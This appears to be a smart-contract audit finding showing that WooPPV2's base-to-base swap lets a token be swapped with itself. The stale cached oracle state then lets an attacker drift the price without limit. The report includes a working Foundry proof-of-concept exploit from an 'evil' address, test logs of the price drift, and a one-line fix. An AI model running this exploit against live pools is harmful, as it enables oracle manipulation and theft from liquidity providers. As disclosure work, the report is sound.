Price manipulation by swapping any ````baseToken```` with itself
`WooPPV2.swap()` doesn't forbid the case that `fromToken == toToken == baseToken`, attackers can make any baseToken's price unboundedly drifting away by swapping with self.\\nThe issue arises due to incorrect logic in WooPPV2._swapBaseToBase():\\nFirstly, we can see the situation that `fromToken == toToken == baseToken` can pass the checks on L521~L522.\\nbaseToken's state & price is cached in memory on L527~L528, and updated first time on L541, but the price calculation on L555 still uses the cached state, and the `newBase2Price` is set to `wooracle` on L556 as the final price after the swap.\\nAs a result, swapping `baseToken` with itself will cause a net price drift rather than keeping price unchanged.\\n```\\nFile: contracts\\WooPPV2.sol\\n    function _swapBaseToBase(\\n// rest of code\\n    ) private nonReentrant whenNotPaused returns (uint256 base2Amount) {\\n        require(baseToken1 != address(0) && baseToken1 != quoteToken, "WooPPV2: !baseToken1");\\n        require(baseToken2 != address(0) && baseToken2 != quoteToken, "WooPPV2: !baseToken2");\\n// rest of code\\n        IWooracleV2.State memory state1 = IWooracleV2(wooracle).state(baseToken1);\\n        IWooracleV2.State memory state2 = IWooracleV2(wooracle).state(baseToken2);\\n// rest of code\\n            uint256 newBase1Price;\\n            (quoteAmount, newBase1Price) = _calcQuoteAmountSellBase(baseToken1, base1Amount, state1);\\n            IWooracleV2(wooracle).postPrice(baseToken1, uint128(newBase1Price));\\n// rest of code\\n            uint256 newBase2Price;\\n            (base2Amount, newBase2Price) = _calcBaseAmountSellQuote(baseToken2, quoteAmount, state2);\\n            IWooracleV2(wooracle).postPrice(baseToken2, uint128(newBase2Price));\\n// rest of code\\n    }\\n```\\n\\nThe following coded PoC intuitively shows the problem with a specific case:\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.0;\\n\\nimport {Test} from "../../lib/forge-std/src/Test.sol";\\nimport {console2} from "../../lib/forge-std/src/console2.sol";\\nimport {WooracleV2_2} from "../../contracts/wooracle/WooracleV2_2.sol";\\nimport {WooPPV2} from "../../contracts/WooPPV2.sol";\\nimport {TestERC20Token} from "../../contracts/test/TestERC20Token.sol";\\nimport {TestUsdtToken} from "../../contracts/test/TestUsdtToken.sol";\\n\\ncontract TestWbctToken is TestERC20Token {\\n    function decimals() public view virtual override returns (uint8) {\\n        return 8;\\n    }\\n}\\n\\ncontract PriceManipulationAttackTest is Test {\\n    WooracleV2_2 oracle;\\n    WooPPV2 pool;\\n    TestUsdtToken usdt;\\n    TestWbctToken wbtc;\\n    address evil = address(0xbad);\\n\\n    function setUp() public {\\n        usdt = new TestUsdtToken();\\n        wbtc = new TestWbctToken();\\n        oracle = new WooracleV2_2();\\n        pool = new WooPPV2(address(usdt));\\n\\n        // parameters reference: Integration_WooPP_Fee_Rebate_Vault.test.ts\\n        pool.setMaxGamma(address(wbtc), 0.1e18);\\n        pool.setMaxNotionalSwap(address(wbtc), 5_000_000e6);\\n        pool.setFeeRate(address(wbtc), 25);\\n        oracle.postState({_base: address(wbtc), _price: 50_000e8, _spread: 0.001e18, _coeff: 0.000000001e18});\\n        oracle.setWooPP(address(pool));\\n        oracle.setAdmin(address(pool), true);\\n        pool.setWooracle(address(oracle));\\n\\n        // add some initial liquidity\\n        usdt.mint(address(this), 10_000_000e6);\\n        usdt.approve(address(pool), type(uint256).max);\\n        pool.depositAll(address(usdt));\\n\\n        wbtc.mint(address(this), 100e8);\\n        wbtc.approve(address(pool), type(uint256).max);\\n        pool.depositAll(address(wbtc));\\n    }\\n\\n    function testMaxPriceDriftInNormalCase() public {\\n        (uint256 initPrice, bool feasible) = oracle.price(address(wbtc));\\n        assertTrue(feasible);\\n        assertEq(initPrice, 50_000e8);\\n\\n        // buy almost all wbtc in pool\\n        usdt.mint(address(this), 5_000_000e6);\\n        usdt.transfer(address(pool), 5_000_000e6);\\n        pool.swap({\\n            fromToken: address(usdt),\\n            toToken: address(wbtc),\\n            fromAmount: 5_000_000e6,\\n            minToAmount: 0,\\n            to: address(this),\\n            rebateTo: address(this)\\n        });\\n\\n        (uint256 pastPrice, bool feasible2) = oracle.price(address(wbtc));\\n        assertTrue(feasible2);\\n        uint256 drift = ((pastPrice - initPrice) * 1e5) / initPrice;\\n        assertEq(drift, 502); // 0.502%\\n        console2.log("Max price drift in normal case: ", _toPercentString(drift));\\n    }\\n\\n    function testUnboundPriceDriftInAttackCase() public {\\n        (uint256 initPrice, bool feasible) = oracle.price(address(wbtc));\\n        assertTrue(feasible);\\n        assertEq(initPrice, 50_000e8);\\n\\n        // top up the evil, in real case, the fund could be from a flashloan\\n        wbtc.mint(evil, 100e8);\\n\\n        for (uint256 i; i < 10; ++i) {\\n            vm.startPrank(evil);\\n            uint256 balance = wbtc.balanceOf(evil);\\n            wbtc.transfer(address(pool), balance);\\n            pool.swap({\\n                fromToken: address(wbtc),\\n                toToken: address(wbtc),\\n                fromAmount: balance,\\n                minToAmount: 0,\\n                to: evil,\\n                rebateTo: evil\\n            });\\n            (uint256 pastPrice, bool feasible2) = oracle.price(address(wbtc));\\n            assertTrue(feasible2);\\n            uint256 drift = ((pastPrice - initPrice) * 1e5) / initPrice;\\n            console2.log("Unbound price drift in attack case: ", _toPercentString(drift));    \\n            vm.stopPrank();\\n        }\\n    }\\n\\n    function _toPercentString(uint256 drift) internal pure returns (string memory result) {\\n        uint256 d_3 = drift % 10;\\n        uint256 d_2 = (drift / 10) % 10;\\n        uint256 d_1 = (drift / 100) % 10;\\n        uint256 d0 = (drift / 1000) % 10;\\n        result = string.concat(_toString(d0), ".", _toString(d_1), _toString(d_2), _toString(d_3), "%");\\n        uint256 d = drift / 10000;\\n        while (d > 0) {\\n            result = string.concat(_toString(d % 10), result);\\n            d = d / 10;\\n        }\\n    }\\n\\n    function _toString(uint256 digital) internal pure returns (string memory str) {\\n        str = new string(1);\\n        bytes16 symbols = "0123456789abcdef";\\n        assembly {\\n            mstore8(add(str, 32), byte(digital, symbols))\\n        }\\n    }\\n}\\n```\\n\\nAnd the logs:\\n```\\n2024-03-woofi-swap\\WooPoolV2> forge test --match-contract PriceManipulationAttackTest -vv\\n[⠆] Compiling// rest of codeNo files changed, compilation skipped\\n[⠰] Compiling// rest of code\\n\\nRunning 2 tests for test/foundry/PriceManipulationAttack.t.sol:PriceManipulationAttackTest\\n[PASS] testMaxPriceDriftInNormalCase() (gas: 158149)\\nLogs:\\n  Max price drift in normal case:  0.502%\\n\\n[PASS] testUnboundPriceDriftInAttackCase() (gas: 648243)\\nLogs:\\n  Unbound price drift in attack case:  0.499%\\n  Unbound price drift in attack case:  0.998%\\n  Unbound price drift in attack case:  1.496%\\n  Unbound price drift in attack case:  1.994%\\n  Unbound price drift in attack case:  2.491%\\n  Unbound price drift in attack case:  2.988%\\n  Unbound price drift in attack case:  3.483%\\n  Unbound price drift in attack case:  3.978%\\n  Unbound price drift in attack case:  4.473%\\n  Unbound price drift in attack case:  4.967%\\n\\nTest result: ok. 2 passed; 0 failed; 0 skipped; finished in 6.59ms\\n\\nRan 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)\\n```\\n
```\\n2024-03-woofi-swap\\WooPoolV2> git diff\\ndiff --git a/WooPoolV2/contracts/WooPPV2.sol b/WooPoolV2/contracts/WooPPV2.sol\\nindex e7a6ae8..9440089 100644\\n--- a/WooPoolV2/contracts/WooPPV2.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/WooPoolV2/contracts/WooPPV2.sol\\n@@ -520,6 // Add the line below\\n520,7 @@ contract WooPPV2 is Ownable, ReentrancyGuard, Pausable, IWooPPV2 {\\n     ) private nonReentrant whenNotPaused returns (uint256 base2Amount) {\\n         require(baseToken1 != address(0) && baseToken1 != quoteToken, "WooPPV2: !baseToken1");\\n         require(baseToken2 != address(0) && baseToken2 != quoteToken, "WooPPV2: !baseToken2");\\n// Add the line below\\n        require(baseToken1 != baseToken2, "WooPPV2: baseToken1 == baseToken2");\\n         require(to != address(0), "WooPPV2: !to");\\n\\n         require(balance(baseToken1) - tokenInfos[baseToken1].reserve >= base1Amount, "WooPPV2: !BASE1_BALANCE");\\n```\\n
```\\nFile: contracts\\WooPPV2.sol\\n    function _swapBaseToBase(\\n// rest of code\\n    ) private nonReentrant whenNotPaused returns (uint256 base2Amount) {\\n        require(baseToken1 != address(0) && baseToken1 != quoteToken, "WooPPV2: !baseToken1");\\n        require(baseToken2 != address(0) && baseToken2 != quoteToken, "WooPPV2: !baseToken2");\\n// rest of code\\n        IWooracleV2.State memory state1 = IWooracleV2(wooracle).state(baseToken1);\\n        IWooracleV2.State memory state2 = IWooracleV2(wooracle).state(baseToken2);\\n// rest of code\\n            uint256 newBase1Price;\\n            (quoteAmount, newBase1Price) = _calcQuoteAmountSellBase(baseToken1, base1Amount, state1);\\n            IWooracleV2(wooracle).postPrice(baseToken1, uint128(newBase1Price));\\n// rest of code\\n            uint256 newBase2Price;\\n            (base2Amount, newBase2Price) = _calcBaseAmountSellQuote(baseToken2, quoteAmount, state2);\\n            IWooracleV2(wooracle).postPrice(baseToken2, uint128(newBase2Price));\\n// rest of code\\n    }\\n```\\n